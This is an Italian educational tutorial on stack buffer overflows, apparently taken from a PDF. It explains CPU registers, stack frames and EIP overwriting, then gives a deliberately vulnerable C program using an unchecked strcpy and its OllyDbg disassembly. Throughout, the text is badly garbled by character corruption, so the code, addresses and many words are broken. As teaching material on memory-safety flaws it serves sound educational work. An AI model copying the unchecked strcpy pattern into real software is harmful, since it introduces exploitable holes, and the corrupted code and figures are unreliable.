Sei sulla pagina 1di 30

BUFFER OVERFLOW

a cura di

Salvatore Fresta
09 Ottobre 2010

Copyright (c) 2010 Salvatore Fresta. Permissio is gra ted to copy! distribute a d"or modi#y this docume t u der the terms o# the $%& Free 'ocume tatio (ice se! )ersio 1.2 or a y later versio published by the Free So#t*are Fou datio + *ith o , varia t Sectio s! o Fro t-Cover .e/ts! a d o 0ac1-Cover .e/ts. 2 copy o# the lice se is i cluded i the sectio e titled 3$%& Free 'ocume tatio (ice se3.

Prefazione
,l bu##er over#lo* 4 u a delle pi5 ote e temute vul erabilit6 che riguarda o le applica7io i compilate poich8! se s#ruttato correttame te! porta all9esecu7io e di codice arbitrario co i privilegi dell9applica7io e vul erabile. Soggette a :uesto tipo di vul erabilit6 so o le applica7io i che o co trolla o la dime sio e delle loca7io i di memoria su cui verra o depositati i dati letti! #i e do col sovrascrivere le aree di memoria ad esse adiace ti. (e vul erabilit6 di bu##er over#lo* so o sosta 7ialme te due;

Stack Overflow; bu##er over#lo* che avvie e ello Stac1. Heap Overflow ; bu##er over#lo* che avvie e ello <eap.

, :uesto docume to verr6 trattata la #orma pi5 comu e di bu##er over#lo*! ovvero :uella basata sullo Stac1. ,l testo o ecessita di particolari co osce 7e ed 4 rivolto a tutti coloro che! i curiositi da tale vul erabilit6! voglio o capir e il #u 7io ame to e la tec ica di s#ruttame to. Perta to! oltre alla spiega7io e tec ica! sar6 prese tato u esempio di codice vul erabile e la stesura di u e/ploit per dimostrare l9esecu7io e arbitraria di codice. Per :uest9ultima parte so o richieste mi ime co osce 7e del li guaggio C. Per capire al meglio :uesto tipo vul erabilit6 4 co sigliato leggere tutti i paragra#i successivi che illustrera o! oltre all9architettura di u a CP&! la ecessit6 della reali77a7io e di u o Stac1! al #i e di compre der e a pie o il #u 7io ame to.

Architettura i un co!puter
& so#t*are o 4 altro che u 9i sieme di istru7io i macchi a eseguite i se:ue 7a! cio8 u a serie di compiti che la CP& 4 i grado di e##ettuare. =ueste istru7io i so o immaga77i ate i u apposito co te itore il cui ome 4 ormai molto #amigliare; la !e!oria. > possibile immagi are la memoria come u alto comodi o! dove og i cassetto! chiamato loca7io e o cella! co tie e u 9istru7io e macchi a o dati. Og i cella 4 ide ti#icata u ivocame te media te il proprio indirizzo! u valore umerico progressivo. (a CP& i teragisce co il mo do elettro ico a lei ester o (memoria ed i ter#acce) media te u a serie di li ee parallele de omi ate BUS. ?sse so o sosta 7ialeme te tre;

Bu" in irizzi; so o dedicate all9i dica7io e della cella cui la CP& #a ri#erime to. Bu" ati; dedicate al tras#erime to di bit. Bu" controlli; servo o ad orchestrare le i tera7io i tra CP& e il resto del mo do elettro ico.

(9i tera7io e tra CP& e memoria i li ea di massima 4 semplice; la CP& seg ala alla memoria! media te il bus i diri77i! a :uale cella 4 i teressata (speci#ica do l9i diri77o) e! media te il bus co trolli! il tipo di opera7io e che i te de svolgere (lettura dalla memoria o scrittura sulla memoria). ,l co te uto da leggere o da scrivere viagga tramite il bus dati. (a CP& i si tesi 4 composta dai segue ti eleme ti;

Re#i"tri $PR; so o dei registri di uso comu e ($e eral Purpose) che il progettista della CP& ha reali77ato appositame te per i programmatori. , registri o so o altro che delle piccole celle di memoria i ter e alla CP& stessa. ALU; e##ettua le opera7io i aritmetiche (somma! sottra7io e ecc..) e logiche (a d! ot! or ecc..). %ontrol Unit; ac:uisisce e decodi#ica le istru7io i macchi a prelevate di volta i volta dalla memoria e co trolla il #u 7io ame to di tutti gli eleme ti della CP& e del resto del computer.

Oltre ai registri $P@ so o prese ti altri registri che o ve go o messi a disposi7io e del programmatore (:ui di o so o modi#icabili dai programmi) ma che ve go o utili77ati per leggere e scrivere dalla memoria. =uesti registri so o i segue ti;

&n"truction Pointer; registro che co tie e l9i diri77o della cella di memoria dalla :uale si a dr6 a prelevare la prossima istru7io e macchi a da eseguire. 2 volte :uesto registro 4 chiamato a che Program Counter poich8 #u 7io a e##ettivame te come u co tatore. Og i volta che vie e letta u a cella di memoria! al suo co te uto vie e sommato il valore 1 per leggere la cella di memoria successiva. &n"truction Re#i"ter; registro che co tie e l9istru7io e i corso di esecu7io e. 'e!or( A re"" Re#i"ter; registro che co se te alla CP& di mettere sul bus i diri77i l9i diri77o della cella di memoria dalla :uale i te de leggere o scrivere. 'e!or( )ata Re#i"ter; registro che co se te il tras#erime to di u dato dalla CP& al bus dati dura te u 9opera7io e di scrittura e dal bus dati alla CP& media te u 9opera7io e di lettura.

'alla #igura soprasta te! che rapprese ta i modo abbasta 7a semplice l9architettura i ter a di u a CP&! 4 possibile otare u registro di ome %on ition %o e". =uesto registro co tie e i #orma7io i sull9esito dell9ultima elabora7io e! ad esempio u risultato egativo! positivo o ullo dopo u 9opera7io e di somma algebrica. ?sse do l92(& l9u ico compo e te capace di svolgere opera7io i aritmetiche"logiche! o 4 u registro programmabile.

Og i istru7io e 4 prese te i caratteri77ata da;


memoria i

#ormato bi ario ( lin#ua##io !acchina) ed 4

u codice operativo (opco e) che i dica di :uale istru7io e si tratta. opera di (operan ") che costituisco o i dati ecessari per eseguire l9istru7io e.

=ua do precede teme te si 4 detto che la co trol u it esegue u a #u 7io e di decodi#ica! :uesta o co siste altro che ell9i dividuare tramite l9opcode di che istru7io e si tratta e successivame te #arla eseguire. , passi che la CP& compie miliardi di volte al seco do so o tre;

Fetch; i :uesta #ase la CP& legge l9istru7io e da eseguire dalla memoria media te l9i diri77o riportato el registro , structio Poi ter ed i creme ta di 1 :uest9ultimo. )eco e; decodi#ica l9istru7io e media te l9opcode. E*ecute; esegue l9istru7io e.

=ui di u a CP& da 2.A $<7 compie per 2.A miliardi di volte al seco do le precede ti tre #asi.

?sisto o diversi tipi di istru7io i! a seco da del compito da svolgere che vie e richiesto alla CP&. Posso o essere catalogati i B gruppi pri cipali;

&"truzioni operative; richiedo o alla CP& di svolgere elabora7io i sui dati! utili77a do l92(& (ad esempio somme! sottra7io i! moltiplica7io i! opera7io i logiche ecc...). &"truzioni i tra"feri!ento; servo o a prelevare dati dalla memoria o dalle i ter#acce ,"O o a scrivere dati sulla memoria o sulle i ter#acce ,"O. &"truzioni i controllo; servo o a #ar variare la ormale esecu7io e i se:ue 7a delle istru7io i macchi a (so o le istru7io i pi5 importa ti riguardo il tema trattato da :uesto docume to) che i gergo ve go o chiamate i"truzioni i "alto co di7io ato e i co di7io ato.

Siccome l9esecu7io e i se:ue 7a delle istru7io i macchi a 4 regolata dal registro , structio Poi ter! 4 ormale i tuire come le istru7io i di salto e varia o i :ualche modo il co te uto. > molto probabile che! dura te la stesura di u programma! u compito si ripeta pi5 volte. =uesto comporta :ui di la ripeti7io e di parti di codice gi6 scritte. 'i solito o 4 co sigliato ripetere lo stesso codice i ciascu pu to poich8 se si decidesse di apportare delle modi#iche! bisog erebbe essere sicuri di e##ettuarle i tutti i pu ti del programma i cui esso compare! ed 4 :ui di molto semplice commettere errori dovuti a distra7io e. 'a :uC asce la ecessit6 di reali77are sottoprogrammi! le cosiddette funzioni! che oltre a #are risparmiare tempo! #acilita o la compre sio e della struttura di u so#t*are lu go e complesso! la corre7io e e la segme ta7io e logica del problema complessivo. & a #u 7io e o 4 altro che la por7io e di codice comu eme te utili77ata! i serita i u u ico pu to e poi richiamata! media te le istru7io i di salto! i tutti i pu ti del programma i cui il compito che essa svolge 4 richiesto. (e modalit6 precise seco do le :uali u a #u 7io e vie e e##ettivame te richiamata dipe do o dal li guaggio di programma7io e e dall9architettura della macchi a su cui vie e eseguita. , si tesi :uello che deve avve ire 4 che arrivati ad u pu to di chiamata! si sospe de l9a dame to se:ue 7iale del programma pri cipale e si salta al pu to di i i7io della #u 7io e. =ua do :uesta termi a la sua esecu7io e! si ripre de l9a dame to dal pu to i cui 4 stato sospeso. (a segue te immagi e dovrebbe chiarire le idee.

'ura te l9esecu7io e i se:ue 7a delle istru7io i macchi a del programma pri cipale! si i co tra u 9istru7io e di chiamata a #u 7io e (u 9istru7io e di salto). Com94 possibile otare dalla #igura! si sospe de il ormale a dame to se:ue 7iale e si salta alla prima istru7io e della #u 7io e. =ua do vie e eseguito l9i tero set di istru7io i della #u 7io e! si giu ge al pu to di ritor o! ovvero l9ultima istru7io e della #u 7io e. 2 :uesto pu to si salta uovame te all9istru7io e successiva al pu to di chiamata e si ripre de la ormale esecu7io e se:ue 7iale. , umeri a lato di og i cella di memoria rapprese ta o l9i diri77o di memoria i #ormato esadecimale. 'a otare che l9i diri77o delle celle 4 sempre progressivo. Ovviame te! esse do la #u 7io e scritta u a volta sola! si trova da tutt9altra parte ella memoria (i diri77o di memoria totalme te diverso da :uello del programma pri cipale) ed eseguita :ua do richiesta.

2 ali77iamo il procedime to el dettaglio; esattame te prima dell9istru7io e di salto! il valore corre te dell9, structio Poi ter 4 0x14530101. 'opo l9esecu7io e dell9istru7io e i corso (#ase di ?/ecute) vie e eseguita uovame te la #ase di Fetch che! dopo la lettura! i creme ter6 il valore dell9, structio Poi ter a 0x14530102. 'ura te la #ase di decodi#ica dell9istru7io e letta si scopre perD che si tratta di u 9istru7io e di salto alla #u 7io e la cui prima istru7io e si trova all9i diri77o 0x1234567 . 'ura te la #ase di esecu7io e vie e salvato il co te uto dell9, structio Poi ter i u luogo co ve 7io ale ed il suo valore attuale sostituito co :uello dell9i diri77o speci#icato dall9istru7io e di salto (ovvero 0x1234567 !. 2 :uesto pu to dura te la uova #ase di Fetch vie e letto il co te uto della cella 0/12BAEFGH e cosC via #i o all9ultima istru7io e (pu to di ritor o! 0x1234567") che si occuper6 di ripre dere il valore dell9, structio Poi ter salvato e risettarlo. 'opo :uesta opera7io e! la uova #ase di Fetch a dr6 a leggere il co te uto della cella 0x14530102 ripre de do la ormale esecu7io e se:ue 7iale esattame te dopo il pu to di chiamata alla #u 7io e.

&S,RU-&O.E
,stru7io e I programma pri cipale &"truzione i "alto a 0x12345678 1punto i chia!ata2 1I ,stru7io e della #u 7io e 2I ,stru7io e della #u 7io e Ulti!a i"truzione ella funzione 1punto i ritorno2 ,stru7io e dopo il pu to di chiamata del programma pri cipale

&.)&R&--O )& &.S,RU%,&O. LUO$O 'E'OR&A PO&.,ER %O.VE.-&O.ALE


0x14530100 0x14530101

0x14530101 0x14530101

0x14530102 0x12345678 0x1234567# 0x14530102 0x14530102

0x1234567

0x1234567#

0x1234567"

0x14530102

0x1234567" 0x1234567"

0x1234567B 0x14530102 0x14530103

0x14530102

0x14530102

,a7ella ria""untiva ell8e"ecuzione i una funzione9

2 :uesto pu to dovrebbe essere chiaro che le i"truzioni e"e#uite alla %PU "i trovano nelle celle i !e!oria "pecificate al re#i"tro &n"truction Pointer. %o resta che dare u ome al luogo convenzionale citato. 'iverse so o state le idee espresse i passato riguardo al luogo che avrebbe ospitato il vecchio valore del registro , structio Poi ter. , i7ialme te si pe sD di dedicare a :uesto scopo u o dei registri $@P ma sorse subito u problema; dove salvare il valore del registro , structio Poi ter se u a #u 7io e richiama u 9altra #u 7io e o se stessa (ricorsio e)J Se utili77assimo il medesimo registro $P@! il valore di volta i volta verrebbe sovrascritto co :uello uovo! co la co segue 7a che la #u 7io e co ti uerebbe a ritor are a se stessa e mai al programma pri cipale. ?ra chiaro che dedicare u a speci#ica area di memoria o u o speci#ico registro o era la solu7io e adatta al problema. Serviva :ualcosa di di amico. (a risposta arrivD el 19EE dall9esperto tedesco Friedrich $% &auer sotto il ome di Stack. Prima di proseguire perD 4 ecessario sapere che la memoria 4 suddivisa i segme ti logici (ovvero o #isici).

(e segue ti so o delle de#i i7io i i li ea di massima dei suddetti segme ti;

%o e Se#!ent; chiamato a che text segment! co tie e tutte le istru7io i macchi a da eseguire. =uesta 4 l9area di memoria dedicata alla #ase di Fetch. )ata Se#!ent; co tie e tutti i dati globali e statici i i7iali77ati co valori diversi da 7ero.

BSS Se#!ent; 0SS sta per &loc' Started () S)m(ol e co tie e tutti i dati i i7iali77ati o i i7iali77ati co valori uguali a 7ero.

Heap; :uest9area 4 dedicata all9alloca7io e di amica di memoria e cresce da i diri77i bassi ad i diri77i alti (ordi e cresce te). Stack; :uest9area! come vedremo! 4 dedicata alle chiamate a #u 7io i ed all9alloca7io e delle variabili locali. Cresce da i diri77i alti ad i diri77i bassi (ordi e decresce te).

Che vuol dire che l9<eap cresce da i diri77i bassi ad i diri77i altiJ Sig i#ica che og i cella di memoria occupata dall9ultimo dato aggiu to avr6 u 9i diri77o di memoria di valore maggiore rispetto alla cella precede te! me tre per :ua to riguarda lo Stac1! og i cella di memoria occupata dall9ultimo dato aggiu to avr6 u 9i diri77o di memoria mi ore rispetto a :uella precede te! ovvero cresce esattame te al co trario! i modo decresce te! e capiremo il motivo di :uesta impleme ta7io e el paragra#o successivo. =ui di Stac1 ed <eap so o delle aree di memoria di per se di amiche il cui co te uto cresce e dimi uisce a seco da degli eve ti.

Lo Stack
(o Stac1 (dall9i glese *ila) 4 u 9area di memoria ave te u 9i diri77o di origi e #isso ed u a dime sio e variabile. Prese ta u a struttura L&FO ($ast +n*ut , First -ut*ut) dove l9ultimo eleme to i serito 4 a che il primo ad essere estratto! come esattame te i u a pila di piatti. )ie e utili77ato pri cipalme te per immaga77i are i #orma7io i sulle #u 7io i attive el sistema ma ulla vieta al programmatore di utili77arlo per altri scopi. =ueste i #orma7io i so o sicurame te il valore corre te del registro , structio Poi ter :ua do si i co tra u 9istru7io e di salto a #u 7io e! le variabili locali di u a #u 7io e! gli eve tuali parametri di i gresso ed eve tualme te i valori di alcu i registri che sara o i seguito modi#icati dalla #u 7io e chiamata! i modo da porterli ripristi are a lavoro compiuto. Sullo Stac1 4 possibile eseguire solame te due opera7io i;
1. Pu"h; i serime to di u eleme to i cima allo Stac1. 2. Pop; estra7io e dell9ultimo eleme to dalla cima dello Stac1.

, seguito altre istru7io i sara o utili77ate per la gestio e dello Stac1 ma :ueste! i #o do! o so o altro che combi a7io i di push e pop. Per scorrere i dati all9i ter o dello Stac1 se 7a alterarlo vie e utili77ato u registro di ome Ba"e Pointer. =uesto registro co tie e l9i diri77o di memoria della cella dello Stac1 a cui si vuole #are ri#erime to. Poi esiste a che u altro registro di ome Stack Pointer il cui compito 4 pu tare sempre all9ultimo eleme to i serito ello Stac1. Ovviame te :ua do lo Stac1 4 vuoto! esso pu ter6 all9origi e. Og i :ual volta la Co trol & it decodi#ica u 9istru7io e di salto a #u 7io e! sullo Stac1 vie e riservata u 9area di memoria la cui dime sio e dipe de dalle caratteristiche della #u 7io e richiamata. .ale area di memoria pre de il ome di fra!e. 'i u #rame #ara o parte tutte le i #orma7io i citate precede teme te. Og i #rame ha ovviame te u pu to di i 7io ed u o di #i e. , :uesto caso! il registro 0ase Poi ter! oltre che a scorrere i dati! vie e utili77ato come ri#erime to al pu to di i i7io me tre! gra7ie alle caratteristiche dello Stac1! il pu to di #i e #rame sar6 sempre pu tato dal registro Stac1 Poi ter. 'i #rame ello Stac1 ve e so o ta ti se si pe sa a tutti i so#t*are eseguiti all9i ter o di u sistema. Og i volta che u a #u 7io e termi a la propria esecu7io e occorre Kelimi areL il #rame per essa reali77ato e ricostruire :uello precede te. Ma per ricostruire il #rame precede te

occorre co oscere il suo pu to di i i7io e :ui di dove pu tava i i7ialme te il 0ase Poi ter. Per :uesto motivo! tra le i #orma7io i da immaga77i are i og i uovo #rame dura te u a chiamata a #u 7io e vi 4 a che il valore corre te del registro 0ase Poi ter. =ui di! prima di eseguire u salto a #u 7io e! la CP& da i i7io alla crea7io e del #rame i sere do ello Stac1 il valore corre te del registro , structio Poi ter e il valore corre te del registro 0ase Poi ter. 2 :uesto pu to asseg a al registro 0ase Poi ter il suo uovo valore (che coi cide co :uello dell9attuale Stac1 Poi ter) ed alloca el #rame! media te u a sottra7io e al valore corre te del registro Stac1 Poi ter! ta te celle di memoria #i o a raggiu gere la dime sio e richiesta per le variabili locali della #u 7io e. =uesta opera7io e pre de il ome di prolo#o i funzione. , via del tutto op7io ale 4 possibile aggiu gere al #rame a che i valori di alcu i registri utili77ati dalla #u 7io e per ripristi arli i seguito al pu to di ritor o. =ua do si arriva al pu to di ritor o! ve go o estratti dallo Stac1 i modo i verso (struttura (,FO) tutti i dati precede teme te i seriti! :ui di gli eve tuali valori dei registri! ve go o deallocate le celle di memoria messe a disposi7io e per le variabili locali della #u 7io e somma do u opportu o valore al registro Stac1 Poi ter! vie e estratto il valore salvato del 0ase Poi ter e riasseg ato al registro ed i #i e vie e estratto il valore del registro , structio Poi ter e riasseg ato i modo da ripre dere l9esecu7io e dal pu to successivo a :uello di chiamata! come gi6 oto. =uesta opera7io e pre de il ome di epilo#o i funzione. (9ultimo #rame i serito ello Stac1 corrispo de esattame te all9ultima #u 7io e chiamata. =uesto 4 il va taggio di u a struttura a pila! che aiuta a che a ma te ere l9ordi e di a idame to delle chiamate a #u 7io i. , valori dei parametri di i gresso o ve go o i seriti el uovo #rame poich8 tali valori so o co osciuti dalla #u 7io e o dal programma che e##ettua la chiamata. =ui di :uesti valori risiedo o el #rame precede te! esattame te prima del valore del registro , structio Poi ter.

(a #igura precede te rapprese ta u #rame completo (la parte a77urra) e la parte #i ale del #rame esattame te precede te (la parte rossa). 2 ali77iamo og i valore del #rame;

RE,; o Return A chiamata a #u 7io e.

re""! 4 il valore del registro , structio

Poi ter prima della

SFP; o Save Fra!e Pointer! 4 il valore del registro 0ase Poi ter prima della chiamata a #u 7io e. Locale / e 0; so o due celle di memoria allocate per le variabili locali della #u 7io e. ES& e E)&; so o i valori dei registri ?S, ed ?', prima della chiamata a #u 7io e (so o registri prese ti ei microprocessori ,%.?().

, u microprocessore ,%.?(! il registro 0ase Poi ter vie e de omi ato EBP (?/te ded 0ase Poi ter)! il registro Stac1 Poi ter vie e de omi ato ESP (?/te ded Stac1 Poi ter) me tre il registro , structio Poi ter vie e chiamato E&P (?/te ded , structio Poi ter). (a #igura #a ri#erime to ad u microprocessore ,%.?( a B2 bit dove og i cella di memoria puD co te ere al massimo A byte di i #orma7io e. 2 che gli i diri77i memoria so o a B2 bit. Per accedere alle variabili locali ed ai parametri si #a ri#erime to al registro 0ase Poi ter! i #atti ella #igura la prima cella dedicata ad u a variabile locale risiede esattame te A byte prima del valore corre te del 0ase Poi ter me tre il primo parametro risiede esattame te H byte dopo (dopo 2 celle di memoria! la propria e :uella del @?.). @icordiamoci che lo Stac1 cresce dagli i diri77i alti verso gli i diri77i bassi! :ui di tutto ciD che sta sta prima i realt6 4 stato aggiu to dopo. =ui di :ua do si sottrae u valore al registro Stac1 Poi ter! si alloca spa7io sullo Stac1! :ua do vi si somma u valore! si dealloca spa7io. E"e!pio; sappiamo che ?SP pu ta sempre alla cima dello Stac1 e che oltre esso vi 4 solo spa7io dispo ibile per ulteriori dati o #rame. Se si vuole allocare spa7io per H byte! ovvero 2 celle di memoria i u sistema a B2 bit! bisog a sottrarre ad ?SP il valore H. , :uesto modo ?SP si sposta verso i diri77i bassi per 2 celle di memoria e :ui di ello Stac1 avvie e u 9alloca7io e. Se si vuole deallocare lo stesso spa7io! si somma ed ?SP il valore H! co la co segue 7a che ?SP si sposta verso gli i diri77i alti di 2 celle di memoria. Og i valore allocato 4 u multiplo di A i sistemi a B2 bit poich8 o 4 possibile decidere di allocare solo u a #etta di cella di memoria! :ui di se ad esempio i dati delle variabili locali occupera o solo 10 byte! occorre allocare ugualme te 12 byte di memoria. (e opera7io i di push e pop co stito o i #o do rispettivame te i sottra7io i e somme di valori ad ?SP co il tras#erime to di dati da e verso la CP&. Per chiarire meglio vediamo come avvie e l9i serime to e l9estra7io e di u dato ello Stac1 tramite rapprese ta7io i gra#iche. ,l

dato che sar6 i serito ello Stac1 i :uesto esempio sar6 il valore corre te del registro , structio Poi ter! che i u sistema a B2 bit prese ta ovviame te u a dime sio e di A byte (ovviame te poich8 deve co te ere al suo i ter o u i diri77o di memoria di B2 bit! e:uivale ti a A byte).

Stato attuale ello Stack9

Allocazione 1ESP : ;ESP< = 42

,ra"feri!ento i E&P in ESP

,ra"feri!ento i ESP in E&P

)eallocazione 1ESP : ;ESP< > 42

Ora dovrebbe essere chiaro che l9alloca7io e e la dealloca7io e di celle ello Stac1 avvie e per me77o di ?SP.

&"truzioni a""e!7l( attinenti


Og i istru7io e macchi a 4 prese te i memoria i #ormato bi ario. Per ovvie ragio i! al programmatore ve go o #or iti me77i per la reali77a7io e di so#t*are se 7a che egli debba ricordare le combi a7io i bi arie apparte e ti ad og i istru7io e. .utti i li guaggi di basso livello deg i di :uesto ome! come l9assembly ,%.?( /HF! ide ti#ica o le si gole istru7io i macchi a media te l9utili77o di codice mnemonico u ivoco ad og i o*code% , codici m emo ici delle istru7io i assembly ,%.?( /HF utili77ate ell9ambito delle opera7io i co lo Stac1 so o;

PUSH; i serisce u eleme to ello Stac1. POP; estrae u eleme to dallo Stac1. %ALL; salva il valore corre te di ?,P sullo Stac1 e lo modi#ica co :uello speci#icato. E.,ER; e##ettua il prologo di #u 7io e. LEAVE; e##ettua l9epilogo di #u 7io e. RE,.; preleva ed asseg a il valore di ?,P i serito sullo Stac1.

Come detto i precede 7a! tutte le altre #u 7io i di i tera7io e co lo Stac1 o so o altro che u 9i sieme di opera7io i di push e pop. ?sempio;

Pro#ra!!a principale; 0/A0EEFG C2(( 0/00A0B020 Funzione; 0/A0B020 P&S< ?0P MO) ?0P! ?SP S&0 ?SP! N0O.?P)2@,20,(,P(OC2(, ... CO',C? F&%Q,O%? ... MO) ?SP! ?0P POP ?0P @?.%

(9istru7io e .-/ 0112 012 asseg a ad 011 il valore di 012. , :uesto caso! #a pu tare ?0P dove pu ta ?SP! attualme te all9i i7io del #rame! come elle #igure precede ti. (9istru7io e S3& 4SP2 5&6748/"0+"&+$+8$-C"$+ 5&6748/"0+"&+$+8$-C"$+. (e istru7io i;
P&S< ?0P MO) ?0P! ?SP S&0 ?SP! N0O.?P)2@,20,(,P(OC2(,

sottrare

ad

4SP

il

valore

posso o essere sostituite da;


?%.?@ N0O.?P)2@,20,(,P(OC2(,!0

(e istru7io i;
MO) ?SP! ?0P POP ?0P

posso o essere sostituite da;


(?2)?

Stack Overflow
Come a u ciato ella pre#a7io e di :uesto docume to! u bu##er over#lo* co siste el te tativo di memori77are i u 9area di memoria pi5 dati di :ua to essa e possa co te ere! ave do come co segue 7a la sovrascrittura delle aree di memoria adiace ti co i dati i eccesso. Se :uesto traboccame to di dati avvie e ello Stac1! 4 possibile sovrascrivere a che la cella di memoria che co tie e il vecchio valore di ?,P! provoca do dapprima u crash del so#t*are. =uest9ultimo 4 dovuto al #atto che co molta probabilit6 il valore i serito corrispo de ad u 9i diri77o di memoria il cui accesso al so#t*are o 4 autori77ato! provoca do il classico errore di Se#!entation fault. Come gi6 sappiamo dai paragra#i precede ti! le istru7io i che la CP& a dr6 ad eseguire si trova o elle celle di memoria i diri77ate dal registro , structio Poi ter. Se :ui di siamo capaci di sovrascrivere :uesto valore co u o arbitrario! 4 possibile dirottare l9esecu7io e delle istru7io i del so#t*are. )ediamo cosa avvie e ello Stac1 dura te u bu##er over#lo* co u a rapprese ta7io e gra#ica. Facciamo ri#erime to ad u a #u 7io e che co tie e al suo i ter o u array di caratteri lu go H byte (2 celle di memoria i u sistema a B2 bit) el :uale a dr6 a memori77are u a stri ga di lu ghe77a arbitraria.

Fra!e pri!a ella "crittura9

)ediamo cosa avvie e dura te la scrittura della stri ga HAB&,A,;

Fi o a :uC! tutto #ila. (a stri ga 4 lu ga esattame te H byte (G byte di i #orma7io e pi5 il byte delimitatore %&((! che ide ti#ica u a stri ga). )ediamo cosa accade :ua do te tiamo di memori77are la stri ga AAAAAAAABBBB%%%%))))EEEE;

Com94 possibile otare! i dati i eccesso ha o sovrascritto le aree di memoria adiace ti a :uelle delle variabili locali. , :uesto caso! il vecchio valore del registro 0ase Poi ter 4 mutato i 0/A2A2A2A2 ed il vecchio valore del registro , structio Poi ter i ?*43434343. =ua do verr6 e##ettuato l9epilogo della #u 7io e! il uovo valore di ?,P sar6 du :ue 0/ABABABAB e il uovo valore di ?0P sar6 0/A22AAAAA. 'ove pu ter6 ?SPJ

?SP! come sempre! pu ter6 alla cima dello Stac1! ma a che :uelle aree di memoria so o state sovrascritte co dati arbitrari che oi abbiamo speci#icato. =ui di se al posto di :uei dati se 7a se so i serissimo delle istru7io i macchi a e se al posto dell9attuale i diri77o i se sato di ?,P i serissimo l9i diri77o di u a cella di memoria che co tie e u 9istru7io e capace di #ar eseguire alla CP& il codice pu tato da ?SP (ad esempio C2(( ?SP)! riusciremmo ad eseguire codice arbitrario. =uest9ultimo pre de il ome di "hellco e. (o s#ruttame to dello Stac1 Over#lo* dipe de da molti #attori e o sempre risulta ido eo per l9esecu7io e di codice. Molte volte ci si limita alla sovrascrittura di ?,P provoca do il crash del so#t*are vul erabile! da do vita ad u attacco di tipo 'OS ('e ial O# Service)! altre volte ve go o utili77ati degli arti#ici ella reali77a7io e di shellcode per bypassare dei #iltri per determi ati byte! altre volte a cora occorre calcolare l9i diri77o di memoria approssimativo ella :uale sar6 i serito lo shellcode o i diri77abile direttame te co ?SP ecc...

E"e!pio pratico
,l li guaggio C 4 il pio iere tra i li guaggi di programma7io e di alto livello ma si #o da sul presupposto che il programmatore sia respo sible dell9i tegrit6 dei dati! soprattutto per motivi di e##icie 7a. =ui di se il programmatore o presta molta atte 7io e dura te la stesura di u codice i li guaggio C! puD ge erare programmi vul erabili a bu##er over#lo* e corru7io i di memoria. 'i co segue 7a! se il programmatore ad esempio vuole i serire n910 byte i u bu##er per il :uale aveva allocato solame te n byte! il C lo co se te. Prima di i i7iare servo o degli stume ti. =uelli utili77ati i :uesto docume to so o i segue ti;

Compilatore $%%. 'ebugger Oll()7#.

Come sistema operativo di testi g vie e utili77ato Microso#t Ri do*s SP. ,l segue te sorge te i li guaggio C (bo#.c) 4 u classico esempio di Stac1 Overlo*.
Ni clude Tstdio.hU Ni clude Tstri g.hU void memori77aPstri ga(char Vstri gaPi ) W char bu##erX12Y+ "trcp(17uffer@ "trin#aAin2B pri t#(KZ Memori77ata la stri ga; [sZ Z L! bu##er)+ \ i t mai (i t argc! char VargvXY) W i#(argc T 2) W pri t#(KZ ?rrore; Stri ga o prese te.Z Z L)+ retur -1+ \ !e!orizzaA"trin#a1ar#v;/<2B retur 0+ \

Chi co osce il li guaggio C sa che la #u 7io e strc*) memori77a elle loca7io i speci#icate dal primo parametro la stri ga correttame te delimitata speci#icata dal seco do parametro! i cluso il byte %&(( (0/00). %ella #u 7io e memorizza8stringa o vie e e##ettuato alcu co trollo sulla lu ghe77a del dato i i put! per :ui :uesto potrebbe essere pi5 lu go dell9array di desti a7io e.

'opo aver compilato il sorge te ed aver ri omi ato l9eseguibile i bo#.e/e! apriamolo co Olly'bg (o i alter ativa co u :ualsiasi disassembler) per vedere il listato assembly.
Li"tato a""e!7l( ella funzione !e!orizzaA"trin#a; ??4?/344 PUSH EBP 'OV EBP@ESP SUB ESP@0C MO) ?2S!'RO@' P.@ SS;X?0P]HY MO) 'RO@' P.@ SS;X?SP]AY!?2S (?2 ?2S!'RO@' P.@ SS;X?0P-1AY MO) 'RO@' P.@ SS;X?SPY!?2S %ALL DE'P9F!"vcrt9"trcp(G B "trcp( (?2 ?2S!'RO@' P.@ SS;X?0P-1AY MO) 'RO@' P.@ SS;X?SP]AY!?2S MO) 'RO@' P.@ SS;X?SPY!bo#.00A0B02A + 3Memori77ata la Stri ga; 3 C2(( T^MP._msvcrt.pri t#U + pri t# LEAVE RE,. Li"tato a""e!7l( ella funzione !ain; ??4?/3H/ P&S< ?0P MO) ?0P!?SP 2%' ?SP!FFFFFFF0 S&0 ?SP!10 C2(( bo#.00A019'0 CMP 'RO@' P.@ SS;X?0P]HY!1 ^$ S<O@. bo#.00A01B9H MO) 'RO@' P.@ SS;X?SPY!bo#.00A0B0AA + 3?rrore; Stri ga o prese te3 C2(( T^MP._msvcrt.putsU + puts MO) ?2S!-1 ^MP S<O@. bo#.00A01B2' MO) ?2S!'RO@' P.@ SS;X?0P]CY 2'' ?2S!A MO) ?2S!'RO@' P.@ 'S;X?2SY MO) 'RO@' P.@ SS;X?SPY!?2S ??4?/3A3 %ALL 7of9??4?/344 ??4?/3AC MO) ?2S!0 (?2)? @?.%

Com94 possibile otare! el mai ! dopo lettura dell9istru7io e prese te ella loca7io e di memoria di i diri77o ??4?/3A3! la Co trol & it decodi#ica u 9istru7io e di salto all9i diri77o 00A01BAA. , :uesto mome to il valore corre te di ?,P 4 ??4?/3AC. 2l mome to dell9esecu7io e! l9istru7io e #a si che il valore attuale di ?,P ve ga immaga77i ato ello Stac1 (i :uesto caso all9i dir77o 0022FFBC) e rimpia77ato co 00A01BAA. 'opo aver dato u o sguardo al listato assembly per capire come u so#t*are scritto i u li guaggio ad alto livello vie e tradotto i istru7io i i li guaggio macchi a! diamo il via al test dell9applica7io e. (a segue te immagi e rapprese ta u test a dato a buo #i e ed u test che ha causato u crash del so#t*are.

Og i :ual volta u so#t*are abortisce vie e ge erato u seg ale di i terru7io e. Per sapere cosa succede i memoria dura te u o di :uesti eve ti! impostiamo Olly'bg i modo tale che per og i seg ale di i terrupt ge erato #or isca immediatame te u 9ista ta ea della memoria e dei registri. Per #are ciD occorre cliccare sul me u -*tions : ;ust<in<time de(ugging e successivame te sulla voce .a'e -ll)=(g >ust<in<time de(ugger. Fatto ciD ripetiamo il test che ha ge erato il crash per avere l9ista ta ea.

